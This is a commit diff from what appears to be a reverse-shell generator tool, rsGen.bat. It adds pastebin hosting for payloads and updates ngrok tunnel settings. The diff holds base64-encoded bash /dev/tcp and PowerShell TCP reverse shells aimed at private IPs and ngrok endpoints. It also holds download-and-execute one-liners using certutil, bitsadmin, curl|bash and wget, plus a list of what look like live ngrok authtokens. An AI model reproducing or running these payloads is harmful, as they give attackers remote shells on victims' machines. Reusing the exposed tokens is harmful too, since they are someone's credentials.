Skip to content

Commit 2c14ea3

Browse files
committed
Bugfix & Add pastebin API
1 parent 7572db2 commit 2c14ea3

File tree

7 files changed

+885
-40
lines changed

7 files changed

+885
-40
lines changed

include/ngrok.yml

+2-2
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,3 @@
1-
authtoken: 46BUGD4XhUPTaHq7XJBwv_7e1PZUn5Qm6Z2735i64UN
1+
authtoken: 1iabGOYmHBNpWEeQPP8wj780QX8_E8zMR5aYaVB65Mhk5ohA
22
web_addr: 44480
3-
region: au
3+
region: jp

include/rs_ngrok.token

+9-2
Original file line numberDiff line numberDiff line change
@@ -3,11 +3,19 @@
33
1qkMTtorRJtQDjKaDHgDBhVqxM0_5MRgzGZYWsj3erkEofNzP
44
1qkMaSjkfmgny4tdNGhw8CEltWL_xNoKtdnwNyghiFPggPPK
55
1qkMiQpj3dP83wslTIrpVeFPc2P_2JedvtPZP9tgEL8TRUZY7
6+
1qy8l5CLlOReT6tdDQiLxjyP90t_5A2Mc1aDaMrRkgrJPrkr1
7+
1qy8z9ocvupU4tvUkE5kqkqcsZV_85J6MPTGcS4Rggdis1pcp
8+
1qy94dBcvwd374dgP193PgICJSA_PKeJNMeNVNpNcUB7bF5h
9+
1qy9GGSEPceSauamoSkkNh33rt6_4wuUew44A9AUA11smYA73
10+
1qy9LEnNIg8flHTCKTxlQa8WTh8_5bAiVqS8HRjde2wJFrqBv
11+
1qy9b5E3lum6PNHdm1Qulr6FD2k_5hiMUc4JFXwZqQ9ikNa4D
12+
1qy9fbkr6sXDsezmNu4cfOPxF7E_4geScFHCAeBMsPD3hkyPm
13+
1qy9PwCpc6bg441QKKuVi8sKDBK_6EbGAZsN2TrzVWkVyTTKe
14+
1qy9UWz7N5bH7Ca7W8tsdKMUTiP_3Mv3HxQdXtaEjb7wrrc2Z
615
5S28rBKgc22ZW7evyedNT_YvEm15RZSHdXgS4QwYbk
716
9AZ7RJuLDUAqTz8XLZE5_6ts5kTWCvvE5o5BdT5jyE
817
46BUGD4XhUPTaHq7XJBwv_7e1PZUn5Qm6Z2735i64UN
918
1hpf39YX2qCXqAkMMcRLC0L4ww9_2VWg1CdHXGjcgnoJH2qEf
10-
6Aw8vTgcG5EvXdQywVvbh_3fMxvd4Q7dcL2caAHAFjV
1119
1UqHsShi6o3ketf426P5UtVdTfs_5XFD6sFRMkryka8fAbLd3
1220
LsVZFxFqgxA4h7ibWV9V_iuA9afbQwaSnGqH9dApL
1321
1hvRf0LvwuAI0SoCfB5J0Cnz02c_qY8Pfk5HRkxqgZ8UFHdg
@@ -45,7 +53,6 @@ KuTKRosrawrDMAgX1ayq_7AAmsVSom4E6GtT18S1pn
4553
1XSYq8gmxzNgMlYQzERmC50uBot_6qURZnj43KsYF2GWaUamm
4654
1Q4i7F6isO7zZRrrjBKZzZhwsMu_74yJqoEs1HrJh1zYyxNo1
4755
1SCsbuawjv9d79jlhlfNljaFTaB_5heVkcR6C7Sk8UBaQ1U1C
48-
1Q45NXgsx6oyusN3GiNAYvkNJPS_AveYUDBcPHsvRvf21WZv
4956
1Q6smHt4Bzz9VEXTwj3a7p5Gdx2_5mp6ivT6N6nB3YmRHUEM3
5057
7VJwGkCTTUubiGhgz6Gv6_5fMLganRSKj9ntdefnF5o
5158
3VnrrXDQVHoNp9HvHFhqX_3X4JExwm6L9n6w4ppL1qy

include/rs_pastebin.api

+3-1
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,4 @@
11
https://p.ip.fi/
2-
https://dpaste.com/api/v2/
2+
https://dpaste.com/api/v2/
3+
https://ghostbin.co/paste/new
4+
https://paste.teknik.io/Action/Paste

include/www/i

+1-1
Original file line numberDiff line numberDiff line change
@@ -1 +1 @@
1-
L2Jpbi9iYXNoIC1pPiYvZGV2L3RjcC8xOTIuMTY4LjguOC85OTk5IDA+JjE=&powershell -EP Bypass -NoLogo -NonI -NoP -Enc JABjAHQAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQA5ADIALgAxADYAOAAuADgALgA4ACcALAA5ADkAOQA5ACkAOwAkAHMAdAA9ACQAYwB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB0AD0AMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpAD0AJABzAHQALgBSAGUAYQBkACgAJABiAHQALAAgADAALAAgACQAYgB0AC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQA9ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAdAAsADAALAAgACQAaQApADsAJABzAGIAPQAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQB8AE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGIAMgAgAD0AJABzAGIAKwAoAHAAdwBkACkALgBQAGEAdABoACsAJwA+ACcAOwAkAHMAZAA9ACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGIAMgApADsAJABzAHQALgBXAHIAaQB0AGUAKAAkAHMAZAAsADAALAAkAHMAZAAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwB0AC4AQwBsAG8AcwBlACgAKQA=
1+
L2Jpbi9iYXNoIC1pPiYvZGV2L3RjcC8xOTIuMTY4LjExLjEvODg4OCAwPiYx&powershell -EP Bypass -NoLogo -NonI -NoP -Enc JABjAHQAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQA5ADIALgAxADYAOAAuADEAMQAuADEAJwAsADgAOAA4ADgAKQA7ACQAcwB0AD0AJABjAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHQAPQAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAPQAkAHMAdAAuAFIAZQBhAGQAKAAkAGIAdAAsACAAMAAsACAAJABiAHQALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhAD0AKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB0ACwAMAAsACAAJABpACkAOwAkAHMAYgA9ACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxAHwATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAYgAyACAAPQAkAHMAYgArACgAcAB3AGQAKQAuAFAAYQB0AGgAKwAnAD4AJwA7ACQAcwBkAD0AKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAYgAyACkAOwAkAHMAdAAuAFcAcgBpAHQAZQAoACQAcwBkACwAMAAsACQAcwBkAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAHQALgBDAGwAbwBzAGUAKAApAA==

payload/rs_base64.payload

+1-1
Original file line numberDiff line numberDiff line change
@@ -1 +1 @@
1-
PiYx&powershell -EP Bypass -NoLogo -NonI -NoP -Enc JABjAHQAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMAAuAHQAYwBwAC4AYQB1AC4AbgBnAHIAbwBrAC4AaQBvACcALAAxADcANgAyADUAKQA7ACQAcwB0AD0AJABjAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHQAPQAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAPQAkAHMAdAAuAFIAZQBhAGQAKAAkAGIAdAAsACAAMAAsACAAJABiAHQALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhAD0AKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB0ACwAMAAsACAAJABpACkAOwAkAHMAYgA9ACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxAHwATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAYgAyACAAPQAkAHMAYgArACgAcAB3AGQAKQAuAFAAYQB0AGgAKwAnAD4AJwA7ACQAcwBkAD0AKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAYgAyACkAOwAkAHMAdAAuAFcAcgBpAHQAZQAoACQAcwBkACwAMAAsACQAcwBkAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAHQALgBDAGwAbwBzAGUAKAApAA==
1+
L2Jpbi9iYXNoIC1pPiYvZGV2L3RjcC8wLnRjcC5qcC5uZ3Jvay5pby8xNDQ2NCAwPiYx&powershell -EP Bypass -NoLogo -NonI -NoP -Enc JABjAHQAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMAAuAHQAYwBwAC4AagBwAC4AbgBnAHIAbwBrAC4AaQBvACcALAAxADQANAA2ADQAKQA7ACQAcwB0AD0AJABjAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHQAPQAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAPQAkAHMAdAAuAFIAZQBhAGQAKAAkAGIAdAAsACAAMAAsACAAJABiAHQALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhAD0AKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB0ACwAMAAsACAAJABpACkAOwAkAHMAYgA9ACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxAHwATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAYgAyACAAPQAkAHMAYgArACgAcAB3AGQAKQAuAFAAYQB0AGgAKwAnAD4AJwA7ACQAcwBkAD0AKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAYgAyACkAOwAkAHMAdAAuAFcAcgBpAHQAZQAoACQAcwBkACwAMAAsACQAcwBkAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAHQALgBDAGwAbwBzAGUAKAApAA==

rsGen.bat

+53-33
Original file line numberDiff line numberDiff line change
@@ -267,11 +267,10 @@ goto :eof
267267
::base64 encode
268268
:rs_base64_encode_start
269269
set /p<nul="%~1">"%temp%\rs_temp_input.rsg"
270-
certutil -f -encode "%temp%\rs_temp_input.rsg" "%temp%\rs_temp_output.rsg">nul
271-
for /f %%i in ('findstr /b /c:"-" /v "%temp%\rs_temp_output.rsg"') do (
272-
set "rsgen_b64_res=%%i"
273-
)
274-
:rs_base64_encode_ende
270+
certutil -encodehex -f "%temp%\rs_temp_input.rsg" "%temp%\rs_temp_output.rsg" 0x40000001 >nul 2>nul
271+
FOR /F "delims==" %%i in (%temp%\rs_temp_output.rsg) do (set rsgen_b64_res=%%i)
272+
rem echo "!rsgen_b64_res!"
273+
:rs_base64_encode_end
275274

276275
::Clean temporary files
277276
:rs_clean_tempfile_start
@@ -386,7 +385,6 @@ if exist "%cd%\include\pgrok.exe" (
386385
if !rs_pgrok! == 0 (
387386
FOR /F tokens^=11^ delims^=^/^\^:^,^" %%i in ('%cd%\include\curl.exe -s --retry 3 --retry-delay 5 --retry-connrefused http://localhost:4040/http/in^|find /i "tcp://"') do (set rs_pgrok_host=%%i)
388387
FOR /F tokens^=12^ delims^=^/^\^:^,^" %%i in ('%cd%\include\curl.exe -s --retry 3 --retry-delay 5 --retry-connrefused http://localhost:4040/http/in^|find /i "tcp://"') do (set rs_pgrok_port=%%i)
389-
390388
set rs_listen_host=
391389
set rs_listen_host=!rs_pgrok_host!
392390
echo + Starting the pgrok tcp tunnel 127.0.0.1:!rs_listen_port! ^<==^> !rs_pgrok_host!:!rs_pgrok_port!
@@ -497,6 +495,7 @@ set rs_ps_command_b64=!powershell_listener_payload!
497495

498496
set "rs_ps_command_pre_lan=&powershell -EP Bypass -NoLogo -NonI -NoP -Enc "
499497
set "linux_command_raw_lan=/bin/bash -i>&/dev/tcp/!rs_listen_host!/!rs_listen_port! 0>&1"
498+
rem echo !linux_command_raw_lan!.test
500499
call :rs_base64_encode_start "!linux_command_raw_lan!"
501500
set rs_linux_command_b64_lan=%rsgen_b64_res%
502501
set "rs_command_b64_lan=!rs_linux_command_b64_lan!!rs_ps_command_pre_lan!!rs_ps_command_b64!"
@@ -568,71 +567,71 @@ goto :eof
568567
:rs_command_lan_end
569568

570569
:rs_command_generate_pub_output_windowsw10_start
571-
if "!rs_pastebin_status!"=="0" echo [92m certutil -urlcache -split -f !rs_base64_payload_url!.txt cd.bat^|cd.bat[0m
570+
if "!rs_pastebin_status!"=="0" echo [92m certutil -urlcache -split -f !rs_base64_payload_url! cd.bat^|cd.bat[0m
572571
echo,
573-
if "!rs_pastebin_status!"=="0" echo [92m certutil -urlcache -split -f !rs_c#_payload_url!.txt cd.bat^|cd.bat !rs_listen_host! !rs_listen_port! cmd[0m
572+
if "!rs_pastebin_status!"=="0" echo [92m certutil -urlcache -split -f !rs_c#_payload_url! cd.bat^|cd.bat !rs_listen_host! !rs_listen_port! cmd[0m
574573
echo,
575-
if "!rs_pastebin_status!"=="0" echo [92m certutil -urlcache -split -f !rs_c#_payload_url!.txt cd.bat^|cd.bat !rs_listen_host! !rs_listen_port! powershell[0m
574+
if "!rs_pastebin_status!"=="0" echo [92m certutil -urlcache -split -f !rs_c#_payload_url! cd.bat^|cd.bat !rs_listen_host! !rs_listen_port! powershell[0m
576575
echo,
577-
if "!rs_pastebin_status!"=="0" echo [92m bitsadmin /transfer n !rs_base64_payload_url!.txt %%cd%%\cd.bat^|cd.bat[0m
576+
if "!rs_pastebin_status!"=="0" echo [92m bitsadmin /transfer n !rs_base64_payload_url! %%cd%%\cd.bat^|cd.bat[0m
578577
echo,
579-
if "!rs_pastebin_status!"=="0" echo [92m powershell "Import-Module bitstransfer;start-bitstransfer !rs_base64_payload_url!.txt cd.bat"^|cd.bat[0m
578+
if "!rs_pastebin_status!"=="0" echo [92m powershell "Import-Module bitstransfer;start-bitstransfer !rs_base64_payload_url! cd.bat"^|cd.bat[0m
580579
echo,
581580
goto :eof
582581
:rs_command_generate_pub_output_windowsw10_end
583582

584583
:rs_command_generate_pub_output_linuxw10_start
585-
if "!rs_pastebin_status!"=="0" echo [92m curl !rs_base64_payload_url!.txt^|base64 -d^|bash[0m
584+
if "!rs_pastebin_status!"=="0" echo [92m curl !rs_base64_payload_url!^|base64 -d^|bash[0m
586585
echo,
587-
if "!rs_pastebin_status!"=="0" echo [92m wget -qO- !rs_base64_payload_url!.txt^|base64 -d^|bash[0m
586+
if "!rs_pastebin_status!"=="0" echo [92m wget -qO- !rs_base64_payload_url!^|base64 -d^|bash[0m
588587
echo,
589588
goto :eof
590589
:rs_command_generate_pub_output_linuxw10_end
591590

592591
:rs_command_generate_pub_output_wl10_start
593-
if "!rs_pastebin_status!"=="0" echo [92m certutil -urlcache -split -f !rs_base64_payload_url!.txt cd.bat^|cd.bat^|^|curl !rs_base64_payload_url!.txt^|base64 -d^|bash[0m
592+
if "!rs_pastebin_status!"=="0" echo [92m certutil -urlcache -split -f !rs_base64_payload_url! cd.bat^|cd.bat^|^|curl !rs_base64_payload_url!^|base64 -d^|bash[0m
594593
echo,
595-
if "!rs_pastebin_status!"=="0" echo [92m certutil -urlcache -split -f !rs_c#_payload_url!.txt cd.bat^|cd.bat^|^|curl !rs_base64_payload_url!.txt^|base64 -d^|bash[0m
594+
if "!rs_pastebin_status!"=="0" echo [92m certutil -urlcache -split -f !rs_c#_payload_url! cd.bat^|cd.bat^|^|curl !rs_base64_payload_url!^|base64 -d^|bash[0m
596595
echo,
597-
if "!rs_pastebin_status!"=="0" echo [92m bitsadmin /transfer n !rs_base64_payload_url!.txt %%cd%%\cd.bat^|cd.bat^|^|curl !rs_base64_payload_url!.txt^|base64 -d^|bash[0m
596+
if "!rs_pastebin_status!"=="0" echo [92m bitsadmin /transfer n !rs_base64_payload_url! %%cd%%\cd.bat^|cd.bat^|^|curl !rs_base64_payload_url!^|base64 -d^|bash[0m
598597
echo,
599-
if "!rs_pastebin_status!"=="0" echo [92m powershell "Import-Module BitsTransfer;start-bitstransfer !rs_base64_payload_url!.txt cd.bat"^|cd.bat^|^|curl !rs_base64_payload_url!.txt^|base64 -d^|bash[0m
598+
if "!rs_pastebin_status!"=="0" echo [92m powershell "Import-Module BitsTransfer;start-bitstransfer !rs_base64_payload_url! cd.bat"^|cd.bat^|^|curl !rs_base64_payload_url!^|base64 -d^|bash[0m
600599
echo,
601600
goto :eof
602601
:rs_command_generate_pub_output_wl10_end
603602

604603
:rs_command_generate_pub_output_windowsw7_start
605-
if "!rs_pastebin_status!"=="0" echo certutil -urlcache -split -f !rs_base64_payload_url!.txt cd.bat^|cd.bat
604+
if "!rs_pastebin_status!"=="0" echo certutil -urlcache -split -f !rs_base64_payload_url! cd.bat^|cd.bat
606605
echo,
607-
if "!rs_pastebin_status!"=="0" echo certutil -urlcache -split -f !rs_c#_payload_url!.txt cd.bat^|cd.bat !rs_listen_host! !rs_listen_port! cmd
606+
if "!rs_pastebin_status!"=="0" echo certutil -urlcache -split -f !rs_c#_payload_url! cd.bat^|cd.bat !rs_listen_host! !rs_listen_port! cmd
608607
echo,
609-
if "!rs_pastebin_status!"=="0" echo certutil -urlcache -split -f !rs_c#_payload_url!.txt cd.bat^|cd.bat !rs_listen_host! !rs_listen_port! powershell
608+
if "!rs_pastebin_status!"=="0" echo certutil -urlcache -split -f !rs_c#_payload_url! cd.bat^|cd.bat !rs_listen_host! !rs_listen_port! powershell
610609
echo,
611-
if "!rs_pastebin_status!"=="0" echo bitsadmin /transfer n !rs_base64_payload_url!.txt %%cd%%\cd.bat^|cd.bat
610+
if "!rs_pastebin_status!"=="0" echo bitsadmin /transfer n !rs_base64_payload_url! %%cd%%\cd.bat^|cd.bat
612611
echo,
613-
if "!rs_pastebin_status!"=="0" echo powershell "Import-Module bitstransfer;start-bitstransfer !rs_base64_payload_url!.txt cd.bat"^|cd.bat
612+
if "!rs_pastebin_status!"=="0" echo powershell "Import-Module bitstransfer;start-bitstransfer !rs_base64_payload_url! cd.bat"^|cd.bat
614613
echo,
615614
goto :eof
616615
:rs_command_generate_pub_output_windowsw7_end
617616

618617
:rs_command_generate_pub_output_linuxw7_start
619-
if "!rs_pastebin_status!"=="0" echo curl !rs_base64_payload_url!.txt^|base64 -d^|bash
618+
if "!rs_pastebin_status!"=="0" echo curl !rs_base64_payload_url!^|base64 -d^|bash
620619
echo,
621-
if "!rs_pastebin_status!"=="0" echo wget -qO- !rs_base64_payload_url!.txt^|base64 -d^|bash
620+
if "!rs_pastebin_status!"=="0" echo wget -qO- !rs_base64_payload_url!^|base64 -d^|bash
622621
echo,
623-
if "!rs_pastebin_status!"=="0" echo wget -qO- !rs_base64_payload_url!.txt^|base64 -d^|bash
622+
if "!rs_pastebin_status!"=="0" echo wget -qO- !rs_base64_payload_url!^|base64 -d^|bash
624623
echo,
625624
goto :eof
626625
:rs_command_generate_pub_output_linuxw7_end
627626

628627
:rs_command_generate_pub_output_wl7_start
629-
if "!rs_pastebin_status!"=="0" echo certutil -urlcache -split -f !rs_base64_payload_url!.txt cd.bat^|cd.bat^|^|curl !rs_base64_payload_url!.txt^|base64 -d^|bash
628+
if "!rs_pastebin_status!"=="0" echo certutil -urlcache -split -f !rs_base64_payload_url! cd.bat^|cd.bat^|^|curl !rs_base64_payload_url!^|base64 -d^|bash
630629
echo,
631-
if "!rs_pastebin_status!"=="0" echo certutil -urlcache -split -f !rs_c#_payload_url!.txt cd.bat^|cd.bat^|^|curl !rs_base64_payload_url!.txt^|base64 -d^|bash
630+
if "!rs_pastebin_status!"=="0" echo certutil -urlcache -split -f !rs_c#_payload_url! cd.bat^|cd.bat^|^|curl !rs_base64_payload_url!^|base64 -d^|bash
632631
echo,
633-
if "!rs_pastebin_status!"=="0" echo bitsadmin /transfer n !rs_base64_payload_url!.txt %%cd%%\cd.bat^|cd.bat^|^|curl !rs_base64_payload_url!.txt^|base64 -d^|bash
632+
if "!rs_pastebin_status!"=="0" echo bitsadmin /transfer n !rs_base64_payload_url! %%cd%%\cd.bat^|cd.bat^|^|curl !rs_base64_payload_url!^|base64 -d^|bash
634633
echo,
635-
if "!rs_pastebin_status!"=="0" echo "powershell "Import-Module BitsTransfer;start-bitstransfer !rs_base64_payload_url!.txt cd.bat"|cd.bat^|^|curl !rs_base64_payload_url!.txt^|base64 -d^|bash"
634+
if "!rs_pastebin_status!"=="0" echo "powershell "Import-Module BitsTransfer;start-bitstransfer !rs_base64_payload_url! cd.bat"|cd.bat^|^|curl !rs_base64_payload_url!^|base64 -d^|bash"
636635
echo,
637636
goto :eof
638637
:rs_command_generate_pub_output_wl7_end
@@ -649,11 +648,10 @@ call :rs_powershell_listener_payload_start
649648
set "linux_command_raw=/bin/bash -i>&/dev/tcp/!rs_listen_host!/!rs_listen_port! 0>&1"
650649
call :rs_base64_encode_start "!linux_command_raw!"
651650
set rs_linux_command_b64=%rsgen_b64_res%
652-
::echo %rs_linux_command_b64%
653651
set rs_ps_command_suf_b64=!powershell_listener_payload!
654652
::echo %rs_ps_command_suf_b64%
655653
set "rs_command_b64=!rs_linux_command_b64!!rs_ps_command_pre!!rs_ps_command_suf_b64!"
656-
::echo !rs_command_b64!
654+
rem echo !rs_command_b64!
657655
call :rs_command_upload_start !rs_listen_host! !rs_listen_port!
658656
if "!rs_pastebin_status!"=="-1" (
659657
echo,
@@ -679,14 +677,36 @@ if exist "%cd%\include\curl.exe" (
679677
set rs_base64_payload_url=
680678
FOR /F %%i in ('%cd%\include\curl.exe --retry 3 --retry-delay 5 --retry-connrefused -s -F "paste=<%cd%\payload\rs_base64.payload" https://p.ip.fi') do (set rs_base64_payload_url=%%i)
681679
FOR /F %%i in ('%cd%\include\curl.exe --retry 3 --retry-delay 5 --retry-connrefused -s -F "paste=<%cd%\payload\c#.payload" https://p.ip.fi') do (set rs_c#_payload_url=%%i)
682-
rem echo !rs_base64_payload_url!
683-
rem echo !rs_c#_payload_url!
680+
set rs_base64_payload_url=!rs_base64_payload_url!.txt
681+
set rs_c#_payload_url=!rs_c#_payload_url!.txt
684682
)
685683

686684
if "!rs_pastebin_api!" == "https://dpaste.com/api/v2/" (
687685
set rs_base64_payload_url=
688686
FOR /F %%i in ('%cd%\include\curl.exe --retry 3 --retry-delay 5 --retry-connrefused -s -F "content=<%cd%\payload\rs_base64.payload" https://dpaste.com/api/v2/') do (set rs_base64_payload_url=%%i)
689687
FOR /F %%i in ('%cd%\include\curl.exe --retry 3 --retry-delay 5 --retry-connrefused -s -F "content=<%cd%\payload\c#.payload" https://dpaste.com/api/v2/') do (set rs_c#_payload_url=%%i)
688+
set rs_base64_payload_url=!rs_base64_payload_url!.txt
689+
set rs_c#_payload_url=!rs_c#_payload_url!.txt
690+
)
691+
692+
if "!rs_pastebin_api!" == "https://paste.teknik.io/Action/Paste" (
693+
set rs_base64_payload_url=
694+
FOR /F %%i in ('%cd%\include\curl.exe --retry 3 --retry-delay 5 --retry-connrefused -ks -w "%%{redirect_url}" -o nul -F "content=<%cd%\payload\rs_base64.payload" https://paste.teknik.io/Action/Paste') do (set rs_base64_payload_url=%%i)
695+
FOR /F %%i in ('%cd%\include\curl.exe --retry 3 --retry-delay 5 --retry-connrefused -ks -w "%%{redirect_url}" -o nul -F "content=<%cd%\payload\c#.payload" https://paste.teknik.io/Action/Paste') do (set rs_c#_payload_url=%%i)
696+
FOR /F "tokens=3 delims==/" %%i in ("!rs_base64_payload_url!") do (set rs_base64_payload_url=%%i)
697+
FOR /F "tokens=3 delims==/" %%i in ("!rs_c#_payload_url!") do (set rs_c#_payload_url=%%i)
698+
set rs_base64_payload_url=https://paste.teknik.io/raw/!rs_base64_payload_url!
699+
set rs_c#_payload_url=https://paste.teknik.io/raw/!rs_c#_payload_url!
700+
)
701+
702+
if "!rs_pastebin_api!" == "https://ghostbin.co/paste/new" (
703+
set rs_base64_payload_url=
704+
FOR /F %%i in ('%cd%\include\curl.exe --retry 3 --retry-delay 5 --retry-connrefused -ks -w "%%{redirect_url}" -o nul -F "text=<%cd%\payload\rs_base64.payload" https://ghostbin.co/paste/new') do (set rs_base64_payload_url=%%i)
705+
FOR /F %%i in ('%cd%\include\curl.exe --retry 3 --retry-delay 5 --retry-connrefused -ks -w "%%{redirect_url}" -o nul -F "text=<%cd%\payload\c#.payload" https://ghostbin.co/paste/new') do (set rs_c#_payload_url=%%i)
706+
FOR /F "tokens=4 delims==/" %%i in ("!rs_base64_payload_url!") do (set rs_base64_payload_url=%%i)
707+
FOR /F "tokens=4 delims==/" %%i in ("!rs_c#_payload_url!") do (set rs_c#_payload_url=%%i)
708+
set rs_base64_payload_url=https://ghostbin.co/paste/!rs_base64_payload_url!/raw
709+
set rs_c#_payload_url=https://ghostbin.co/paste/!rs_c#_payload_url!/raw
690710
rem echo !rs_base64_payload_url!
691711
rem echo !rs_c#_payload_url!
692712
)

0 commit comments

Comments
 (0)